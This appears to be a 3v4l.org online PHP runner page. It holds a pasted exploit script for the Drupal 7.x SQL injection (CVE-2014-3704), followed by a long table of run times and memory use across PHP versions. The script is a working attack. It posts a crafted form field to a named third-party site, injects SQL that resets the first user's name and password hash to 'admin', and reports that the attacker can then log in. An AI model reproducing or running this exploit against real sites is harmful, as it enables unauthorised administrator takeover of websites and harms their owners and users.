3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://animepavilion.com/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.68
8.3.50.0150.00422.04
8.3.40.0140.00719.34
8.3.30.0060.00919.29
8.3.20.0080.00020.71
8.3.10.0040.00424.04
8.3.00.0100.00017.96
8.2.180.0120.00317.00
8.2.170.0080.00822.96
8.2.160.0090.00922.21
8.2.150.0030.00524.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00422.54
8.2.110.0040.00722.27
8.2.100.0060.00618.16
8.2.90.0040.00419.35
8.2.80.0050.00317.97
8.2.70.0030.00517.75
8.2.60.0040.00418.18
8.2.50.0060.00318.07
8.2.40.0060.00320.20
8.2.30.0040.00418.29
8.2.20.0040.00417.90
8.2.10.0000.00818.21
8.2.00.0000.00818.00
8.1.280.0160.00325.92
8.1.270.0080.00024.12
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0000.00922.05
8.1.230.0030.00919.21
8.1.220.0030.00617.92
8.1.210.0050.00518.77
8.1.200.0000.00917.48
8.1.190.0050.00317.35
8.1.180.0050.00318.10
8.1.170.0040.00418.75
8.1.160.0040.00422.16
8.1.150.0040.00419.10
8.1.140.0000.00717.71
8.1.130.0070.00018.04
8.1.120.0070.00017.58
8.1.110.0050.00317.72
8.1.100.0000.00717.57
8.1.90.0000.00817.69
8.1.80.0000.00717.73
8.1.70.0070.00017.57
8.1.60.0050.00317.85
8.1.50.0040.00417.61
8.1.40.0020.00517.65
8.1.30.0060.00317.70
8.1.20.0000.00817.80
8.1.10.0030.00617.65
8.1.00.0000.00917.52
8.0.300.0000.00818.77
8.0.290.0060.00316.88
8.0.280.0080.00018.66
8.0.270.0090.00017.53
8.0.260.0030.00317.48
8.0.250.0070.00017.20
8.0.240.0030.00317.22
8.0.230.0000.00717.11
8.0.220.0030.00517.13
8.0.210.0000.00717.04
8.0.200.0090.00017.33
8.0.190.0000.00817.35
8.0.180.0070.00017.21
8.0.170.0000.00917.27
8.0.160.0030.00317.05
8.0.150.0030.00517.08
8.0.140.0040.00417.09
8.0.130.0030.00313.62
8.0.120.0000.00817.19
8.0.110.0040.00417.38
8.0.100.0040.00417.29
8.0.90.0040.00417.27
8.0.80.0110.00417.14
8.0.70.0040.00417.32
8.0.60.0060.00317.26
8.0.50.0050.00317.23
8.0.30.0090.01817.24
8.0.20.0130.01017.49
8.0.10.0040.00417.19
8.0.00.0110.00717.01
7.4.330.0030.00315.42
7.4.320.0000.00616.66
7.4.300.0000.00816.71
7.4.290.0070.00016.74
7.4.280.0030.00516.74
7.4.270.0000.00816.80
7.4.260.0070.00016.75
7.4.250.0070.00316.73
7.4.240.0040.00316.88
7.4.230.0000.00716.57
7.4.220.0090.00916.83
7.4.210.0000.01416.88
7.4.200.0000.00816.71
7.4.160.0100.00716.80
7.4.150.0170.01117.40
7.4.140.0140.00817.86
7.4.130.0140.00516.82
7.4.120.0130.00516.69
7.4.110.0230.00516.78
7.4.100.0140.00316.88
7.4.90.0130.01016.61
7.4.80.0180.00419.39
7.4.70.0170.00016.77
7.4.60.0150.00316.92
7.4.50.0060.00316.70
7.4.40.0030.01716.64
7.4.30.0170.00016.65
7.4.00.0100.00715.12
7.3.330.0050.00013.51
7.3.320.0060.00013.53
7.3.310.0050.00216.63
7.3.300.0000.00716.67
7.3.290.0110.00416.72
7.3.280.0080.00916.72
7.3.270.0070.01417.40
7.3.260.0070.01016.66
7.3.250.0090.00816.61
7.3.240.0150.00316.76
7.3.230.0130.01016.66
7.3.210.0070.01116.75
7.3.200.0100.01419.39
7.3.190.0110.01116.91
7.3.180.0110.00716.74
7.3.170.0070.01016.75
7.3.160.0110.00716.53
7.2.330.0110.00717.00
7.2.320.0090.01316.96
7.2.310.0140.00316.96
7.2.300.0180.00016.98
7.2.290.0070.01516.93
7.2.60.0040.01116.91
7.2.00.0030.00619.97
7.1.200.0040.01116.08
7.1.100.0050.01418.33
7.1.70.0150.00417.24
7.1.60.0170.00217.78
7.1.50.0130.00317.59
7.1.40.0070.00917.10
7.1.30.0130.00817.20
7.1.20.0120.01217.09
7.1.10.0070.00716.84
7.1.00.0100.00417.07
7.0.200.0150.00417.03
7.0.190.0070.01017.07
7.0.180.0120.00616.84
7.0.170.0130.00416.84
7.0.160.0090.00516.84
7.0.150.0060.00916.84
7.0.140.0040.00816.84
7.0.130.0080.00816.89
7.0.120.0140.00016.84
7.0.110.0130.00316.84
7.0.100.0100.00716.84
7.0.90.0060.00616.84
7.0.80.0100.00516.87
7.0.70.0070.00716.84
7.0.60.0050.00916.84
7.0.50.0040.01116.84
7.0.40.0070.01316.84
7.0.30.0080.01616.84
7.0.20.0110.00416.84
7.0.10.0070.01016.84
7.0.00.0070.01116.84
5.6.300.0130.07221.11
5.6.290.0070.04820.76
5.6.280.0100.04321.09
5.6.270.0130.03521.24
5.6.260.0060.08521.05
5.6.250.0040.05121.27
5.6.240.0030.05721.03
5.6.230.0070.07321.14
5.6.220.0090.04420.99
5.6.210.0070.03921.25
5.6.200.0030.07121.20
5.6.190.0100.05421.00
5.6.180.0070.08321.04
5.6.170.0130.06521.03
5.6.160.0100.04221.14
5.6.150.0040.05021.30
5.6.140.0040.06621.01
5.6.130.0110.04620.92
5.6.120.0100.04521.06
5.6.110.0100.09521.00
5.6.100.0000.05121.21
5.6.90.0030.05820.89
5.6.80.0070.04120.43
5.6.70.0030.04620.38
5.6.60.0130.03520.57
5.6.50.0110.05720.56
5.6.40.0040.04720.37
5.6.30.0070.06420.40
5.6.20.0070.04320.53
5.6.10.0060.04720.39
5.6.00.0110.03520.34
5.5.380.0030.04217.66
5.5.370.0090.03717.76
5.5.360.0000.05417.86
5.5.350.0090.04217.89
5.5.340.0030.04418.29
5.5.330.0090.03418.25
5.5.320.0060.07418.26
5.5.310.0040.06018.35
5.5.300.0030.04218.23
5.5.290.0030.04218.28
5.5.280.0090.03618.14
5.5.270.0100.05218.19
5.5.260.0000.04918.22
5.5.250.0060.05117.85
5.5.240.0000.05117.58
5.5.230.0060.05417.52
5.5.220.0030.07817.66
5.5.210.0370.03117.62
5.5.200.0090.03617.41
5.5.190.0000.04517.60
5.5.180.0040.04617.38
5.5.160.0030.04017.61
5.5.150.0030.07517.72
5.5.140.0070.04117.59
5.5.130.0000.04717.54
5.5.120.0040.03917.70
5.5.110.0000.07117.58
5.5.100.0060.04117.63
5.5.90.0030.04217.30
5.5.80.0030.06917.52
5.5.70.0170.04117.29
5.5.60.0030.03717.52
5.5.50.0030.03917.59
5.5.40.0060.03717.48
5.5.30.0030.04517.48
5.5.20.0070.06217.43
5.5.10.0030.07417.59
5.5.00.0000.04717.43
5.4.450.0060.04319.46
5.4.440.0070.03819.55
5.4.430.0000.05319.78
5.4.420.0070.04119.68
5.4.410.0100.04619.36
5.4.400.0100.03119.29
5.4.390.0030.04219.17
5.4.380.0090.03719.23
5.4.370.0070.03719.25
5.4.360.0070.03719.23
5.4.350.0070.03819.38
5.4.340.0030.04119.24
5.4.320.0000.04819.27
5.4.310.0040.04019.17
5.4.300.0070.04819.17
5.4.290.0200.04319.38
5.4.280.0030.04119.18
5.4.270.0030.03819.18
5.4.260.0100.07419.09
5.4.250.0130.02919.27
5.4.240.0130.05119.24
5.4.230.0070.04319.39
5.4.220.0090.03419.48
5.4.210.0060.03919.39
5.4.200.0040.03919.24
5.4.190.0070.04219.23
5.4.180.0000.05419.45
5.4.170.0000.04119.11
5.4.160.0030.04619.22
5.4.150.0060.04719.23
5.4.140.0060.03716.78
5.4.130.0040.03916.92
5.4.120.0030.04916.73
5.4.110.0130.03516.86
5.4.100.0030.03916.87
5.4.90.0070.05916.80
5.4.80.0030.05416.96
5.4.70.0030.04716.94
5.4.60.0090.03117.00
5.4.50.0040.04216.95
5.4.40.0030.04116.95
5.4.30.0070.03716.88
5.4.20.0030.03716.79
5.4.10.0060.04216.91
5.4.00.0060.03516.19
5.3.290.0130.03815.33
5.3.280.0030.05415.33
5.3.270.0100.07015.33
5.3.260.0030.07615.33
5.3.250.0060.06115.33
5.3.240.0000.04015.33
5.3.230.0070.03315.33
5.3.220.0000.04215.33
5.3.210.0030.03815.33
5.3.200.0030.04515.33
5.3.190.0130.03515.33
5.3.180.0060.04915.33
5.3.170.0040.07515.33
5.3.160.0070.03815.33
5.3.150.0060.04215.33
5.3.140.0030.03615.33
5.3.130.0060.03915.33
5.3.120.0070.03915.33
5.3.110.0100.04515.33
5.3.100.0030.04115.33
5.3.90.0070.03715.33
5.3.80.0060.03615.33
5.3.70.0000.04615.33
5.3.60.0070.03815.33
5.3.50.0040.03915.33
5.3.40.0070.03515.33
5.3.30.0060.03915.33
5.3.20.0040.03915.33
5.3.10.0100.02715.33
5.3.00.0340.03015.33
5.2.170.0000.03915.33
5.2.160.0090.02415.33
5.2.150.0000.04015.33
5.2.140.0070.02715.33
5.2.130.0070.03015.33
5.2.120.0070.02515.33
5.2.110.0140.03115.33
5.2.100.0030.03015.33
5.2.90.0070.02915.33
5.2.80.0030.03115.33
5.2.70.0000.03215.33
5.2.60.0080.03115.33
5.2.50.0030.03215.33
5.2.40.0070.02715.33
5.2.30.0030.03215.33
5.2.20.0030.02915.33
5.2.10.0030.03415.33
5.2.00.0030.03015.33
5.1.60.0070.02315.33
5.1.50.0030.02715.33
5.1.40.0000.02915.33
5.1.30.0040.02915.33
5.1.20.0060.03215.33
5.1.10.0060.02515.33
5.1.00.0000.02715.33
5.0.50.0030.02315.33
5.0.40.0060.01915.33
5.0.30.0000.04215.33
5.0.20.0000.02315.33
5.0.10.0090.01515.33
5.0.00.0090.02315.33
4.4.90.0000.01715.33
4.4.80.0000.01715.33
4.4.70.0030.01515.33
4.4.60.0000.02015.33
4.4.50.0060.01615.33
4.4.40.0040.02515.33
4.4.30.0000.01815.33
4.4.20.0030.01515.33
4.4.10.0030.01515.33
4.4.00.0030.02215.33
4.3.110.0000.02015.33
4.3.100.0030.01415.33
4.3.90.0000.01715.33
4.3.80.0030.02415.33
4.3.70.0000.01715.33
4.3.60.0030.01415.33
4.3.50.0030.01315.33
4.3.40.0030.02515.33
4.3.30.0030.01415.33
4.3.20.0060.01415.33
4.3.10.0030.01415.33
4.3.00.0040.01215.33

preferences:
42.22 ms | 401 KiB | 5 Q